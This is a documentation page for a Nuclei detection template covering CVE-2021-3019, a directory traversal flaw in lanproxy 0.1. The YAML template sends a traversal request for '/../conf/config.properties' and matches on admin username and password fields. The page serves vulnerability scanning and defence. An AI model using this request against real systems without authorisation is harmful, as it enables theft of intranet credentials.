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ffay lanproxy Directory Traversal

ID: CVE-2021-3019

Severity: high

Author: pikpikcu

Tags: cve2021,cve,lanproxy,lfi,lanproxy_project

Description

Section titled “Description”

ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3019


info:
  name: ffay lanproxy Directory Traversal
  author: pikpikcu
  severity: high
  description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a version that has fixed the vulnerability.
  reference:
    - https://github.com/ffay/lanproxy/commits/master
    - https://github.com/maybe-why-not/lanproxy/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3019
    - https://github.com/manas3c/CVE-POC
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3019
    cwe-id: CWE-22
    epss-score: 0.01119
    epss-percentile: 0.84553
    cpe: cpe:2.3:a:lanproxy_project:lanproxy:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lanproxy_project
    product: lanproxy
  tags: cve2021,cve,lanproxy,lfi,lanproxy_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/../conf/config.properties"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"
        condition: and


      - type: word
        part: body
        words:
          - "config.admin.username"
          - "config.admin.password"
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f0f9f5d43385cd1f630f90043c4cdbc6ce2aacffe92ce354ba5a9912d8b23cc902210096ac3aa8bdf5ba0dd851093e96b4cfea46c8244368c242d8ad7f7d5b49b524a7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3019.yaml"

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